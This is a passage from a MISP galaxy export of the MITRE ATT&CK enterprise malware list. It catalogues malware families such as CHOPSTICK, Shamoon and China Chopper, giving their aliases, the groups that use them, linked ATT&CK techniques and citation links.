- uses: misp-galaxy:mitre-enterprise-attack-attack-pattern="Data Staged - T1074" with estimative-language:likelihood-probability="almost-certain"

Table 2234. Table References

Links
https://attack.mitre.org/wiki/Software/S0147

https://researchcenter.paloaltonetworks.com/2017/02/unit-42-title-gamaredon-group-toolset-evolution/

RARSTONE - S0055

RARSTONE is malware used by the Naikon group that has some characteristics similar to PlugX. (Citation: Aquino RARSTONE)

Aliases: RARSTONE

The tag is: *misp-galaxy:mitre-enterprise-attack-malware="RARSTONE - S0055"*

RARSTONE - S0055 is also known as:

- RARSTONE

RARSTONE - S0055 has relationships with:

- similar: misp-galaxy:tool="RARSTONE" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-enterprise-attack-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"

Table 2235. Table References

Links
https://attack.mitre.org/wiki/Software/S0055
http://blog.trendmicro.com/trendlabs-security-intelligence/rarstone-found-in-targeted-attacks/

PUNCHBUGGY - S0196

PUNCHBUGGY is a dynamic-link library (DLL) downloader utilized by FIN8. (Citation: FireEye Fin8 May 2016) (Citation: FireEye Know Your Enemy FIN8 Aug 2016)

Aliases: PUNCHBUGGY

The tag is: *misp-galaxy:mitre-enterprise-attack-malware="PUNCHBUGGY - S0196"*

PUNCHBUGGY - S0196 is also known as:

- PUNCHBUGGY

PUNCHBUGGY - S0196 has relationships with:

- uses: misp-galaxy:mitre-enterprise-attack-attack-pattern="Masquerading - T1036" with estimative-language:likelihood-probability="almost-certain"

Table 2236. Table References

Links
https://attack.mitre.org/wiki/Software/S0196

https://www.fireeye.com/blog/threat-research/2016/05/windows-zero-day-payment-cards.html
https://www2.fireeye.com/WBNR-Know-Your-Enemy-UNC622-Spear-Phishing.html

Matroyshka - S0167

Matroyshka is a malware framework used by CopyKittens that consists of a dropper, loader, and RAT. It has multiple versions; v1 was seen in the wild from July 2016 until January 2017. v2 has fewer commands and other minor differences. (Citation: ClearSky Wilted Tulip July 2017) (Citation: CopyKittens Nov 2015)

Aliases: Matroyshka

The tag is: *misp-galaxy:mitre-enterprise-attack-malware="Matroyshka - S0167"*

Matroyshka - S0167 is also known as:

- Matroyshka

Matroyshka - S0167 has relationships with:

- uses: misp-galaxy:mitre-enterprise-attack-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"

Table 2237. Table References

Links
https://attack.mitre.org/wiki/Software/S0167
http://www.clearskysec.com/wp-content/uploads/2017/07/Operation%20Wilted%20Tulip.pdf
https://s3-eu-west-1.amazonaws.com/minervaresearchpublic/CopyKittens/CopyKittens.pdf

SHOTPUT - S0063

SHOTPUT is a custom backdoor used by APT3. (Citation: FireEye Clandestine Wolf)

Aliases: SHOTPUT, Backdoor.APT.CookieCutter, Pirpi

The tag is: *misp-galaxy:mitre-enterprise-attack-malware="SHOTPUT - S0063"*

SHOTPUT - S0063 is also known as:

- SHOTPUT
- Backdoor.APT.CookieCutter
- Pirpi

SHOTPUT - S0063 has relationships with:

- similar: misp-galaxy:tool="Pirpi" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-enterprise-attack-attack-pattern="Obfuscated Files or Information -

T1027" with estimative-language:likelihood-probability="almost-certain"

Table 2238. Table References

Links
https://attack.mitre.org/wiki/Software/S0063
https://www.fireeye.com/blog/threat-research/2015/06/operation-clandestine-wolf-adobe-flash-zero-day.html

Orz - S0229

Orz is a custom JavaScript backdoor used by Leviathan. It was observed being used in 2014 as well as in August 2017 when it was dropped by Microsoft Publisher files. (Citation: Proofpoint Leviathan Oct 2017) (Citation: FireEye Periscope March 2018)

Aliases: Orz, AIRBREAK

The tag is: *misp-galaxy:mitre-enterprise-attack-malware="Orz - S0229"*

Orz - S0229 is also known as:

- Orz
- AIRBREAK

Orz - S0229 has relationships with:

- similar: misp-galaxy:malpedia="AIRBREAK" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-enterprise-attack-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"

Table 2239. Table References

Links
https://attack.mitre.org/wiki/Software/S0229
https://www.proofpoint.com/us/threat-insight/post/leviathan-espionage-actor-spearphishes-maritime-and-defense-targets
https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html

Trojan.Karagany - S0094

Trojan.Karagany is a backdoor primarily used for recon. The source code for it was leaked in 2010 and it is sold on underground forums. (Citation: Symantec Dragonfly)

Aliases: Trojan.Karagany

The tag is: *misp-galaxy:mitre-enterprise-attack-malware="Trojan.Karagany - S0094"*

Trojan.Karagany - S0094 is also known as:

- Trojan.Karagany

Trojan.Karagany - S0094 has relationships with:

- uses: misp-galaxy:mitre-enterprise-attack-attack-pattern="Software Packing - T1045" with estimative-language:likelihood-probability="almost-certain"

Table 2240. Table References

Links
https://attack.mitre.org/wiki/Software/S0094
http://www.symantec.com/content/en/us/enterprise/media/security%20response/whitepapers/Dragonfly%20Threat%20Against%20Western%20Energy%20Suppliers.pdf

Kasidet - S0088

Kasidet is a backdoor that has been dropped by using malicious VBA macros. (Citation: Zscaler Kasidet)

Aliases: Kasidet

The tag is: *misp-galaxy:mitre-enterprise-attack-malware="Kasidet - S0088"*

Kasidet - S0088 is also known as:

- Kasidet

Kasidet - S0088 has relationships with:

- similar: misp-galaxy:malpedia="Neutrino" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-enterprise-attack-attack-pattern="Input Capture - T1056" with estimative-language:likelihood-probability="almost-certain"

Table 2241. Table References

Links
https://attack.mitre.org/wiki/Software/S0088
http://research.zscaler.com/2016/01/malicious-office-files-dropping-kasidet.html

CHOPSTICK - S0023

CHOPSTICK is malware family of modular backdoors used by APT28. It has been used from at least November 2012 to August 2016 and is usually dropped on victims as second-stage malware, though it has been used as first-stage malware in several cases. (Citation: FireEye APT28) (Citation: ESET Sednit Part 2) (Citation: FireEye APT28) January 2017

Aliases: CHOPSTICK, SPLM, Xagent, X-Agent, webhp

The tag is: *misp-galaxy:mitre-enterprise-attack-malware="CHOPSTICK - S0023"*

CHOPSTICK - S0023 is also known as:

- CHOPSTICK
- SPLM
- Xagent
- X-Agent
- webhp

CHOPSTICK - S0023 has relationships with:

- similar: misp-galaxy:mitre-mobile-attack-malware="X-Agent - MOB-S0030" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:tool="CHOPSTICK" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:tool="X-Agent" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="X-Agent" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-enterprise-attack-attack-pattern="Security Software Discovery - T1063" with estimative-language:likelihood-probability="almost-certain"

Table 2242. Table References

Links
https://attack.mitre.org/wiki/Software/S0023
https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf
http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part-2.pdf

Darkmoon - S0209

is a rootkit trojan used by Elderwood to open a backdoor on compromised hosts. (Citation: Symantec Elderwood Sept 2012) (Citation: Symantec Darkmoon Aug 2005)

Aliases: Darkmoon

The tag is: *misp-galaxy:mitre-enterprise-attack-malware="Darkmoon - S0209"*

Darkmoon - S0209 is also known as:

- Darkmoon

Darkmoon - S0209 has relationships with:

- similar: misp-galaxy:malpedia="Darkmoon" with estimative-language:likelihood-probability="likely"

- uses: misp-galaxy:mitre-enterprise-attack-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"

Table 2243. Table References

Links
https://attack.mitre.org/wiki/Software/S0209
http://www.symantec.com/content/en/us/enterprise/media/security%20response/whitepapers/the-elderwood-project.pdf
https://www.symantec.com/security%20response/writeup.jsp?docid=2005-081910-3934-99

MiniDuke - S0051

MiniDuke is malware that was used by APT29 from 2010 to 2015. The MiniDuke toolset consists of multiple downloader and backdoor components. The loader has been used with other MiniDuke components as well as in conjunction with CosmicDuke and PinchDuke. (Citation: F-Secure The Dukes)

Aliases: MiniDuke

The tag is: *misp-galaxy:mitre-enterprise-attack-malware="MiniDuke - S0051"*

MiniDuke - S0051 is also known as:

- MiniDuke

MiniDuke - S0051 has relationships with:

- uses: misp-galaxy:mitre-enterprise-attack-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"

Table 2244. Table References

Links
https://attack.mitre.org/wiki/Software/S0051
https://www.f-secure.com/documents/996508/1030745/dukes%20whitepaper.pdf

BBSRAT - S0127

BBSRAT is malware with remote access tool functionality that has been used in targeted compromises. (Citation: Palo Alto Networks BBSRAT)

Aliases: BBSRAT

The tag is: *misp-galaxy:mitre-enterprise-attack-malware="BBSRAT - S0127"*

BBSRAT - S0127 is also known as:

- BBSRAT

BBSRAT - S0127 has relationships with:

- similar: misp-galaxy:malpedia="BBSRAT" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-enterprise-attack-attack-pattern="System Service Discovery - T1007" with estimative-language:likelihood-probability="almost-certain"

Table 2245. Table References

Links
https://attack.mitre.org/wiki/Software/S0127
http://researchcenter.paloaltonetworks.com/2015/12/bbsrat-attacks-targeting-russian-organizations-linked-to-roaming-tiger/

Elise - S0081

Elise is a custom backdoor Trojan that appears to be used exclusively by Lotus Blossom. It is part of a larger group of tools referred to as LStudio, ST Group, and APT0LSTU. (Citation: Lotus Blossom Jun 2015)

Aliases: Elise, BKDR_ESILE, Page

The tag is: *misp-galaxy:mitre-enterprise-attack-malware="Elise - S0081"*

Elise - S0081 is also known as:

- Elise
- BKDR_ESILE
- Page

Elise - S0081 has relationships with:

- similar: misp-galaxy:tool="Elise Backdoor" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Elise" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-enterprise-attack-attack-pattern="New Service - T1050" with estimative-language:likelihood-probability="almost-certain"

Table 2246. Table References

Links
https://attack.mitre.org/wiki/Software/S0081
https://www.paloaltonetworks.com/resources/research/unit42-operation-lotus-blossom.html

KOMPROGO - S0156

KOMPROGO is a signature backdoor used by APT32 that is capable of process, file, and registry management. (Citation: FireEye APT32 May 2017)

Aliases: KOMPROGO

The tag is: *misp-galaxy:mitre-enterprise-attack-malware="KOMPROGO - S0156"*

KOMPROGO - S0156 is also known as:

- KOMPROGO

KOMPROGO - S0156 has relationships with:

- uses: misp-galaxy:mitre-enterprise-attack-attack-pattern="Windows Management Instrumentation - T1047" with estimative-language:likelihood-probability="almost-certain"

Table 2247. Table References

Links
https://attack.mitre.org/wiki/Software/S0156
https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html

BISCUIT - S0017

BISCUIT is a backdoor that has been used by APT1 since as early as 2007. (Citation: Mandiant APT1)

Aliases: BISCUIT

The tag is: *misp-galaxy:mitre-enterprise-attack-malware="BISCUIT - S0017"*

BISCUIT - S0017 is also known as:

- BISCUIT

BISCUIT - S0017 has relationships with:

- similar: misp-galaxy:tool="BISCUIT" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-enterprise-attack-attack-pattern="Fallback Channels - T1008" with estimative-language:likelihood-probability="almost-certain"

Table 2248. Table References

Links
https://attack.mitre.org/wiki/Software/S0017
https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf

Uroburos - S0022

Uroburos is a rootkit used by Turla. (Citation: Kaspersky Turla)

Aliases: Uroburos

The tag is: *misp-galaxy:mitre-enterprise-attack-malware="Uroburos - S0022"*

Uroburos - S0022 is also known as:

- Uroburos

Uroburos - S0022 has relationships with:

- similar: misp-galaxy:tool="Turla" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Uroburos" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-enterprise-attack-attack-pattern="Software Packing - T1045" with estimative-language:likelihood-probability="almost-certain"

Table 2249. Table References

Links
https://attack.mitre.org/wiki/Software/S0022
https://securelist.com/the-epic-turla-operation/65545/

POWERSOURCE - S0145

POWERSOURCE is a PowerShell backdoor that is a heavily obfuscated and modified version of the publicly available tool DNS_TXT_Pwnage. It was observed in February 2017 in spearphishing campaigns against personnel involved with United States Securities and Exchange Commission (SEC) filings at various organizations. The malware was delivered when macros were enabled by the victim and a VBS script was dropped. (Citation: FireEye FIN7 March 2017) (Citation: Cisco DNSMessenger March 2017)

Aliases: POWERSOURCE, DNSMessenger

The tag is: *misp-galaxy:mitre-enterprise-attack-malware="POWERSOURCE - S0145"*

POWERSOURCE - S0145 is also known as:

- POWERSOURCE
- DNSMessenger

POWERSOURCE - S0145 has relationships with:

- similar: misp-galaxy:rat="DNSMessenger" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:mitre-enterprise-attack-malware="TEXTMATE - S0146" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="DNSMessenger" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-enterprise-attack-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"

Table 2250. Table References

Links
https://attack.mitre.org/wiki/Software/S0145
https://www.fireeye.com/blog/threat-research/2017/03/fin7%20spear%20phishing.html
http://blog.talosintelligence.com/2017/03/dnsmessenger.html

hcdLoader - S0071

hcdLoader is a remote access tool (RAT) that has been used by APT18. (Citation: Dell Lateral Movement)

Aliases: hcdLoader

The tag is: *misp-galaxy:mitre-enterprise-attack-malware="hcdLoader - S0071"*

hcdLoader - S0071 is also known as:

- hcdLoader

hcdLoader - S0071 has relationships with:

- similar: misp-galaxy:rat="hcdLoader" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-enterprise-attack-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"

Table 2251. Table References

Links
https://attack.mitre.org/wiki/Software/S0071
http://www.secureworks.com/resources/blog/where-you-at-indicators-of-lateral-movement-using-at-exe-on-windows-7-systems/

Pasam - S0208

Pasam is a trojan used by Elderwood to open a backdoor on compromised hosts. (Citation: Symantec Elderwood Sept 2012) (Citation: Symantec Pasam May 2012)

Aliases: Pasam

The tag is: *misp-galaxy:mitre-enterprise-attack-malware="Pasam - S0208"*

Pasam - S0208 is also known as:

- Pasam

Pasam - S0208 has relationships with:

- uses: misp-galaxy:mitre-enterprise-attack-attack-pattern="Process Discovery - T1057" with

estimative-language:likelihood-probability="almost-certain"

Table 2252. Table References

Links
https://attack.mitre.org/wiki/Software/S0208
http://www.symantec.com/content/en/us/enterprise/media/security%20response/whitepapers/the-elderwood-project.pdf
https://www.symantec.com/security%20response/writeup.jsp?docid=2012-050412-4128-99

Zeroaccess - S0027

Zeroaccess is a kernel-mode Rootkit that attempts to add victims to the ZeroAccess botnet, often for monetary gain. (Citation: Sophos ZeroAccess)

Aliases: Zeroaccess, Trojan.Zeroaccess

The tag is: *misp-galaxy:mitre-enterprise-attack-malware="Zeroaccess - S0027"*

Zeroaccess - S0027 is also known as:

- Zeroaccess
- Trojan.Zeroaccess

Zeroaccess - S0027 has relationships with:

- uses: misp-galaxy:mitre-enterprise-attack-attack-pattern="Rootkit - T1014" with estimative-language:likelihood-probability="almost-certain"

Table 2253. Table References

Links
https://attack.mitre.org/wiki/Software/S0027
https://sophosnews.files.wordpress.com/2012/04/zeroaccess2.pdf

Linfo - S0211

is a rootkit trojan used by Elderwood to open a backdoor on compromised hosts. (Citation: Symantec Elderwood Sept 2012) (Citation: Symantec Linfo May 2012)

Aliases: Linfo

The tag is: *misp-galaxy:mitre-enterprise-attack-malware="Linfo - S0211"*

Linfo - S0211 is also known as:

- Linfo

Linfo - S0211 has relationships with:

- uses: misp-galaxy:mitre-enterprise-attack-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"

Table 2254. Table References

Links
https://attack.mitre.org/wiki/Software/S0211
http://www.symantec.com/content/en/us/enterprise/media/security%20response/whitepapers/the-elderwood-project.pdf
https://www.symantec.com/security%20response/writeup.jsp?docid=2012-051605-2535-99

Skeleton Key - S0007

Skeleton Key is malware used to inject false credentials into domain controllers with the intent of creating a backdoor password. (Citation: Dell Skeleton) Functionality similar to Skeleton Key is included as a module in Mimikatz.

Aliases: Skeleton Key

The tag is: *misp-galaxy:mitre-enterprise-attack-malware="Skeleton Key - S0007"*

Skeleton Key - S0007 is also known as:

- Skeleton Key

Skeleton Key - S0007 has relationships with:

- uses: misp-galaxy:mitre-enterprise-attack-attack-pattern="Account Manipulation - T1098" with estimative-language:likelihood-probability="almost-certain"

Table 2255. Table References

Links
https://attack.mitre.org/wiki/Software/S0007
http://www.secureworks.com/cyber-threat-intelligence/threats/skeleton-key-malware-analysis/

Shamoon - S0140

Shamoon is malware that was first used by an Iranian group known as the "Cutting Sword of Justice" in 2012. The 2.0 version was seen in 2016 targeting Middle Eastern states. (Citation: FireEye Shamoon Nov 2016) (Citation: Palo Alto Shamoon Nov 2016)

Aliases: Shamoon, Disttrack

The tag is: *misp-galaxy:mitre-enterprise-attack-malware="Shamoon - S0140"*

Shamoon - S0140 is also known as:

- Shamoon

- Disttrack

Shamoon - S0140 has relationships with:

- similar: misp-galaxy:tool="Shamoon" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-enterprise-attack-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"

Table 2256. Table References

Links
https://attack.mitre.org/wiki/Software/S0140
https://www.fireeye.com/blog/threat-research/2016/11/fireeye%20respondsto.html
http://researchcenter.paloaltonetworks.com/2016/11/unit42-shamoon-2-return-disttrack-wiper/

FALLCHILL - S0181

FALLCHILL is a RAT that has been used by Lazarus Group since at least 2016 to target the aerospace, telecommunications, and finance industries. It is usually dropped by other Lazarus Group malware or delivered when a victim unknowingly visits a compromised website. (Citation: US-CERT FALLCHILL Nov 2017)

Aliases: FALLCHILL

The tag is: *misp-galaxy:mitre-enterprise-attack-malware="FALLCHILL - S0181"*

FALLCHILL - S0181 is also known as:

- FALLCHILL

FALLCHILL - S0181 has relationships with:

- similar: misp-galaxy:rat="FALLCHILL" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Volgmer" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:tool="Volgmer" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-enterprise-attack-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"

Table 2257. Table References

Links
https://attack.mitre.org/wiki/Software/S0181
https://www.us-cert.gov/ncas/alerts/TA17-318A

Briba - S0204

Briba is a trojan used by Elderwood to open a backdoor and download files on to compromised hosts. (Citation: Symantec Elderwood Sept 2012) (Citation: Symantec Briba May 2012)

Aliases: Briba

The tag is: *misp-galaxy:mitre-enterprise-attack-malware="Briba - S0204"*

Briba - S0204 is also known as:

- Briba

Briba - S0204 has relationships with:

- uses: misp-galaxy:mitre-enterprise-attack-attack-pattern="New Service - T1050" with estimative-language:likelihood-probability="almost-certain"

Table 2258. Table References

Links
https://attack.mitre.org/wiki/Software/S0204
http://www.symantec.com/content/en/us/enterprise/media/security%20response/whitepapers/the-elderwood-project.pdf
https://www.symantec.com/security%20response/writeup.jsp?docid=2012-051515-2843-99

Volgmer - S0180

Volgmer is a backdoor Trojan designed to provide covert access to a compromised system. It has been used since at least 2013 to target the government, financial, automotive, and media industries. Its primary delivery mechanism is suspected to be spearphishing. (Citation: US-CERT Volgmer Nov 2017)

Aliases: Volgmer

The tag is: *misp-galaxy:mitre-enterprise-attack-malware="Volgmer - S0180"*

Volgmer - S0180 is also known as:

- Volgmer

Volgmer - S0180 has relationships with:

- similar: misp-galaxy:tool="Volgmer" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Volgmer" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-enterprise-attack-attack-pattern="Standard Cryptographic Protocol - T1032" with estimative-language:likelihood-probability="almost-certain"

Table 2259. Table References

Links
https://attack.mitre.org/wiki/Software/S0180
https://www.us-cert.gov/ncas/alerts/TA17-318B

TDTESS - S0164

TDTESS is a 64-bit .NET binary backdoor used by CopyKittens. (Citation: ClearSky Wilted Tulip July 2017)

Aliases: TDTESS

The tag is: *misp-galaxy:mitre-enterprise-attack-malware="TDTESS - S0164"*

TDTESS - S0164 is also known as:

- TDTESS

TDTESS - S0164 has relationships with:

- similar: misp-galaxy:malpedia="TDTESS" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-enterprise-attack-attack-pattern="File Deletion - T1107" with estimative-language:likelihood-probability="almost-certain"

Table 2260. Table References

Links
https://attack.mitre.org/wiki/Software/S0164
http://www.clearskysec.com/wp-content/uploads/2017/07/Operation%20Wilted%20Tulip.pdf

4H RAT - S0065

4H RAT is malware that has been used by Putter Panda since at least 2007. (Citation: CrowdStrike Putter Panda)

Aliases: 4H RAT

The tag is: *misp-galaxy:mitre-enterprise-attack-malware="4H RAT - S0065"*

4H RAT - S0065 is also known as:

- 4H RAT

4H RAT - S0065 has relationships with:

- similar: misp-galaxy:rat="4H RAT" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-enterprise-attack-attack-pattern="File and Directory Discovery - T1083"

with estimative-language:likelihood-probability="almost-certain"

Table 2261. Table References

Links
https://attack.mitre.org/wiki/Software/S0065
http://cdn0.vox-cdn.com/assets/4589853/crowdstrike-intelligence-report-putter-panda.original.pdf

TURNEDUP - S0199

TURNEDUP is a non-public backdoor. It has been dropped by APT33's DROPSHOT malware (also known as Stonedrill). (Citation: FireEye APT33 Sept 2017) (Citation: FireEye APT33 Webinar Sept 2017)

Aliases: TURNEDUP

The tag is: *misp-galaxy:mitre-enterprise-attack-malware="TURNEDUP - S0199"*

TURNEDUP - S0199 is also known as:

- TURNEDUP

TURNEDUP - S0199 has relationships with:

- similar: misp-galaxy:malpedia="TURNEDUP" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-enterprise-attack-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 2262. Table References

Links
https://attack.mitre.org/wiki/Software/S0199
https://www.fireeye.com/blog/threat-research/2017/09/apt33-insights-into-iranian-cyber-espionage.html
https://www.brighttalk.com/webcast/10703/275683

BOOTRASH - S0114

BOOTRASH is a Bootkit that targets Windows operating systems. It has been used by threat actors that target the financial sector. (Citation: MTrends 2016)

Aliases: BOOTRASH

The tag is: *misp-galaxy:mitre-enterprise-attack-malware="BOOTRASH - S0114"*

BOOTRASH - S0114 is also known as:

- BOOTRASH

BOOTRASH - S0114 has relationships with:

- uses: misp-galaxy:mitre-enterprise-attack-attack-pattern="Bootkit - T1067" with estimative-language:likelihood-probability="almost-certain"

Table 2263. Table References

Links
https://attack.mitre.org/wiki/Software/S0114
https://www.fireeye.com/content/dam/fireeye-www/regional/fr%20FR/offers/pdfs/ig-mtrends-2016.pdf

China Chopper - S0020

China Chopper is a Web shell hosted on Web servers to provide access back into an enterprise network that does not rely on an infected system calling back to a remote command and control server. (Citation: Lee 2013) It has been used by several threat groups. (Citation: Dell TG-3390) (Citation: FireEye Periscope March 2018)

Aliases: China Chopper

The tag is: *misp-galaxy:mitre-enterprise-attack-malware="China Chopper - S0020"*

China Chopper - S0020 is also known as:

- China Chopper

China Chopper - S0020 has relationships with:

- uses: misp-galaxy:mitre-enterprise-attack-attack-pattern="Web Shell - T1100" with estimative-language:likelihood-probability="almost-certain"

Table 2264. Table References

Links
https://attack.mitre.org/wiki/Software/S0020
https://www.fireeye.com/blog/threat-research/2013/08/breaking-down-the-china-chopper-web-shell-part-i.html
http://www.secureworks.com/cyber-threat-intelligence/threats/threat-group-3390-targets-organizations-for-cyberespionage/
https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html

Wiper - S0041

Wiper is a family of destructive malware used in March 2013 during breaches of South Korean banks and media companies. (Citation: Dell Wiper)

Aliases: Wiper

The tag is: *misp-galaxy:mitre-enterprise-attack-malware="Wiper - S0041"*

Wiper - S0041 is also known as:

- Wiper

Wiper - S0041 has relationships with:

- uses: misp-galaxy:mitre-enterprise-attack-attack-pattern="Third-party Software - T1072" with estimative-language:likelihood-probability="almost-certain"

Table 2265. Table References

Links
https://attack.mitre.org/wiki/Software/S0041
http://www.secureworks.com/cyber-threat-intelligence/threats/wiper-malware-analysis-attacking-korean-financial-sector/

Unknown Logger - S0130

Unknown Logger is a publicly released, free backdoor. Version 1.5 of the backdoor has been used by the actors responsible for the MONSOON campaign. (Citation: Forcepoint Monsoon)

Aliases: Unknown Logger

The tag is: *misp-galaxy:mitre-enterprise-attack-malware="Unknown Logger - S0130"*

Unknown Logger - S0130 is also known as:

- Unknown Logger

Unknown Logger - S0130 has relationships with:

- uses: misp-galaxy:mitre-enterprise-attack-attack-pattern="Disabling Security Tools - T1089" with estimative-language:likelihood-probability="almost-certain"

Table 2266. Table References

Links
https://attack.mitre.org/wiki/Software/S0130
https://www.forcepoint.com/sites/default/files/resources/files/forcepoint-security-labs-monsoon-analysis-report.pdf

gh0st - S0032

gh0st is a remote access tool (RAT). The source code is public and it has been used by many groups. (Citation: FireEye Hacking Team)

Aliases: gh0st

The tag is: *misp-galaxy:mitre-enterprise-attack-malware="gh0st - S0032"*

gh0st - S0032 is also known as:

- gh0st

gh0st - S0032 has relationships with:

- similar: misp-galaxy:tool="gh0st" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-enterprise-attack-attack-pattern="Input Capture - T1056" with estimative-language:likelihood-probability="almost-certain"

Table 2267. Table References

Links
https://attack.mitre.org/wiki/Software/S0032
https://www.fireeye.com/blog/threat-research/2015/07/demonstrating%20hustle.html

DOGCALL - S0213

is a backdoor used by APT37 that has been used to target South Korean government and military organizations in 2017. It is typically dropped using a Hangul Word Processor (HWP) exploit. (Citation: FireEye APT37 Feb 2018)

Aliases: DOGCALL

The tag is: *misp-galaxy:mitre-enterprise-attack-malware="DOGCALL - S0213"*

DOGCALL - S0213 is also known as:

- DOGCALL

DOGCALL - S0213 has relationships with:

- similar: misp-galaxy:tool="DOGCALL" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-enterprise-attack-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"

Table 2268. Table References

Links
https://attack.mitre.org/wiki/Software/S0213
https://www2.fireeye.com/rs/848-DID-242/images/rpt%20APT37.pdf

Helminth - S0170

Helminth is a backdoor that has at least two variants - one written in VBScript and PowerShell that is delivered via a macros in Excel spreadsheets, and one that is a standalone Windows executable. (Citation: Palo Alto OilRig May 2016)

Aliases: Helminth

Contributors: Robert Falcone

The tag is: *misp-galaxy:mitre-enterprise-attack-malware="Helminth - S0170"*

Helminth - S0170 is also known as:

- Helminth

Helminth - S0170 has relationships with:

- similar: misp-galaxy:malpedia="Helminth" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-enterprise-attack-attack-pattern="Scheduled Task - T1053" with estimative-language:likelihood-probability="almost-certain"

Table 2269. Table References

Links
https://attack.mitre.org/wiki/Software/S0170
http://researchcenter.paloaltonetworks.com/2016/05/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor/

CORESHELL - S0137

CORESHELL is a downloader used by APT28. The older versions of this malware are known as SOURFACE and newer versions as CORESHELL. It has also been referred to as Sofacy, though that term has been used widely to refer to both the group APT28 and malware families associated with the group. (Citation: FireEye APT28) (Citation: FireEye APT28) January 2017

Aliases: CORESHELL, SOURFACE

The tag is: *misp-galaxy:mitre-enterprise-attack-malware="CORESHELL - S0137"*

CORESHELL - S0137 is also known as:

- CORESHELL
- SOURFACE

CORESHELL - S0137 has relationships with:

- similar: misp-galaxy:tool="SOURFACE" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:tool="CORESHELL" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-enterprise-attack-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"

Table 2270. Table References

Links
https://attack.mitre.org/wiki/Software/S0137
https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf

SOUNDBITE - S0157

SOUNDBITE is a signature backdoor used by APT32. (Citation: FireEye APT32 May 2017)

Aliases: SOUNDBITE

The tag is: *misp-galaxy:mitre-enterprise-attack-malware="SOUNDBITE - S0157"*

SOUNDBITE - S0157 is also known as:

- SOUNDBITE

SOUNDBITE - S0157 has relationships with:

- similar: misp-galaxy:malpedia="SOUNDBITE" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-enterprise-attack-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"

Table 2271. Table References

Links
https://attack.mitre.org/wiki/Software/S0157
https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html

Remsec - S0125

Remsec is a modular backdoor that has been used by Strider and appears to have been designed primarily for espionage purposes. Many of its modules are written in Lua. (Citation: Symantec Strider Blog)

Aliases: Remsec, Backdoor.Remsec, ProjectSauron

The tag is: *misp-galaxy:mitre-enterprise-attack-malware="Remsec - S0125"*

Remsec - S0125 is also known as:

- Remsec
- Backdoor.Remsec
- ProjectSauron

Remsec - S0125 has relationships with:

- similar: misp-galaxy:malpedia="Remsec" with estimative-language:likelihood-

probability="likely"

- uses: misp-galaxy:mitre-enterprise-attack-attack-pattern="Exfiltration Over Alternative Protocol - T1048" with estimative-language:likelihood-probability="almost-certain"

Table 2272. Table References

Links
https://attack.mitre.org/wiki/Software/S0125
http://www.symantec.com/connect/blogs/strider-cyberespionage-group-turns-eye-sauron-targets

POORAIM - S0216

